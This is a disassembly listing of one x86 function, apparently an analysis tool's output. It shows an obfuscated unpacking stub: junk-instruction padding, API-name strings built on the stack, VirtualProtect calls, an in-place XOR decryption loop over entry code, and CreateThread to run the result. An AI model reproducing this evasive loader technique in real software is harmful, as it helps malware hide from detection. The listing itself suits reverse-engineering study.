Function at 0x61384a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg edi, edx
xchg edx, edi
pushfd
push eax
add esp, 4
popfd
call fcn.00613c3e
pushfd
inc ecx
dec ecx
popfd
pushfd
inc edx
dec edx
popfd
lea eax, [ebp - 0xd8]
push ecx
pop ecx
mov ebx, 0x61
xchg esi, esi
add bx, 0xa
mov edx, edx
xchg esi, esi
mov word [eax], bx
xchg esi, eax
xchg esi, eax
sub bx, 6
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 2], bx
xchg edi, edi
pushfd
xor eax, 0xa2491af4
xor eax, 0xa2491af4
popfd
add bx, 0xd
xchg esi, ecx
xchg ecx, esi
mov word [eax + 4], bx
pushfd
push 0x95d087a8
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
sub bx, 4
nop
mov word [eax + 6], bx
push ebx
push edi
pop edi
pop ebx
sub bx, 9
pushfd
inc eax
dec eax
popfd
pushfd
push edi
add esp, 4
popfd
mov word [eax + 8], bx
push ebx
push edx
pop edx
pop ebx
add bx, 7
pushfd
inc esi
dec esi
popfd
mov word [eax + 0xa], bx
push ecx
pop ecx
sub bx, 0x39
pushfd
xor edi, 0x830515c
xor edi, 0x830515c
popfd
mov eax, eax
mov word [eax + 0xc], bx
push eax
pop eax
dec bx
mov edi, edi
mov word [eax + 0xe], bx
push esi
pop esi
xchg ecx, esi
xchg esi, ecx
sub bx, 4
pushfd
push esi
add esp, 4
popfd
mov edx, edx
mov word [eax + 0x10], bx
xchg edi, edi
add bx, 0x36
pushfd
push 0x8246c224
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
push 0xa06a7224
add esp, 4
popfd
add bx, 8
xchg esi, esi
mov word [eax + 0x14], bx
xchg edx, ebx
xchg ebx, edx
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0x16], bx
xchg edx, eax
xchg edx, eax
mov word [eax + 0x18], 0
pushfd
xor eax, 0x47dfc0e3
xor eax, 0x47dfc0e3
popfd
xchg ebx, ecx
xchg ecx, ebx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0x14f04556
add esp, 4
popfd
mov dword [ebp - 0x10], eax
xchg esi, edx
xchg edx, esi
xchg edx, eax
xchg edx, eax
lea eax, [ebp - 0xd8]
pushfd
xor ebx, 0x59adfa9c
xor ebx, 0x59adfa9c
popfd
mov ebx, 0x61
push ebx
pop ebx
sub bl, 0xb
push edx
push eax
pop eax
pop edx
xchg edx, ecx
xchg ecx, edx
mov byte [eax], bl
mov ecx, ecx
xchg edx, ecx
xchg ecx, edx
add bl, 0x13
pushfd
push edi
add esp, 4
popfd
push ecx
push edx
pop edx
pop ecx
mov byte [eax + 1], bl
pushfd
push 0xf002abac
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
add bl, 9
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 2], bl
pushfd
xor edi, 0xd367dfe5
xor edi, 0xd367dfe5
popfd
add bl, 2
mov ebx, ebx
mov byte [eax + 3], bl
mov esi, esi
pushfd
inc esi
dec esi
popfd
inc bl
pushfd
xor edi, 0x96ecc6b8
xor edi, 0x96ecc6b8
popfd
pushfd
push 0x8ba2a63c
add esp, 4
popfd
mov byte [eax + 4], bl
push ecx
pop ecx
mov eax, eax
sub bl, 0x14
xchg ecx, esi
xchg esi, ecx
nop
mov byte [eax + 5], bl
mov edi, edi
xchg ebx, eax
xchg ebx, eax
add bl, 0xb
pushfd
push 0x7ffb8d3b
add esp, 4
popfd
mov byte [eax + 6], bl
mov esi, esi
push edi
pop edi
sub bl, 0x1c
mov edx, edx
pushfd
xor esi, 0xa2b96a16
xor esi, 0xa2b96a16
popfd
mov byte [eax + 7], bl
xchg edi, edi
pushfd
push edx
add esp, 4
popfd
add bl, 0x22
mov edi, edi
mov byte [eax + 8], bl
pushfd
push 0x427a49b6
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
sub bl, 3
push edx
push ecx
pop ecx
pop edx
pushfd
inc esi
dec esi
popfd
mov byte [eax + 9], bl
pushfd
xor edx, 0xec11c449
xor edx, 0xec11c449
popfd
xchg esi, eax
xchg esi, eax
add bl, 5
push eax
push edi
pop edi
pop eax
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0xa], bl
pushfd
inc eax
dec eax
popfd
xchg ebx, ebx
sub bl, 0xf
xchg edx, edx
mov byte [eax + 0xb], bl
push edx
pop edx
pushfd
inc ebx
dec ebx
popfd
sub bl, 2
pushfd
inc esi
dec esi
popfd
xchg edi, edi
mov byte [eax + 0xc], bl
xchg ebx, edx
xchg edx, ebx
add bl, 0x11
pushfd
push 0xbaecd724
add esp, 4
popfd
mov eax, eax
mov byte [eax + 0xd], bl
pushfd
push 0x26fb4bee
add esp, 4
popfd
mov byte [eax + 0xe], 0
pushfd
inc edi
dec edi
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg esi, esi
mov dword [ebp - 0xc], eax
xchg edi, edi
lea eax, [ebp - 8]
xchg esi, esi
pushfd
xor eax, 0xbaec9228
xor eax, 0xbaec9228
popfd
push eax
push 4
push 0x1e50ab
push entry0
call dword [ebp - 0xc]
xchg edi, ecx
xchg ecx, edi
mov ecx, ecx
mov edi, entry0
pushfd
inc eax
dec eax
popfd
mov esi, 0x40100e
pushfd
inc ebx
dec ebx
popfd
push esi
pop esi
mov ecx, 0x1e50ab
pushfd
push ebx
add esp, 4
popfd
pushfd
xor edi, 0xb52c5296
xor edi, 0xb52c5296
popfd
mov edx, 0x3253e8a
push ebx
push eax
pop eax
pop ebx
pushfd
xor eax, 0xc01180c0
xor eax, 0xc01180c0
popfd
mov ebx, 0x800050
xchg esi, eax
xchg esi, eax
push esi
pop esi
cld
xchg ecx, ecx
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
xchg ebx, ebx
stosb byte es:[edi], al
mov eax, eax
ror edx, 5
xchg ebx, ebx
imul edx, edx, 7
mov esi, esi
test ebx, 1
xchg edi, edi
je 0x613b98
xchg ecx, ecx
add esi, 1
mov ebx, ebx
ror ebx, 1
nop
dec ecx
xchg ebx, ebx
test ecx, ecx
mov ecx, ecx
jne 0x613b71
pushfd
inc edi
dec edi
popfd
pushfd
xor ecx, 0x62954e64
xor ecx, 0x62954e64
popfd
lea eax, [ebp - 8]
xchg edi, edi
xchg esi, eax
xchg esi, eax
push eax
push 0x20
push 0x1e50ab
push entry0
call dword [ebp - 0xc]
pushfd
push eax
add esp, 4
popfd
nop
lea eax, [ebp - 4]
pushfd
push 0x212380e7
add esp, 4
popfd
xchg esi, esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov edx, edx
pushfd
xor edx, 0xad27db75
xor edx, 0xad27db75
popfd
push ecx
push edi
pop edi
pop ecx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push 0x4f7923b9
add esp, 4
popfd
push ebx
push ecx
pop ecx
pop ebx
jmp 0x613c07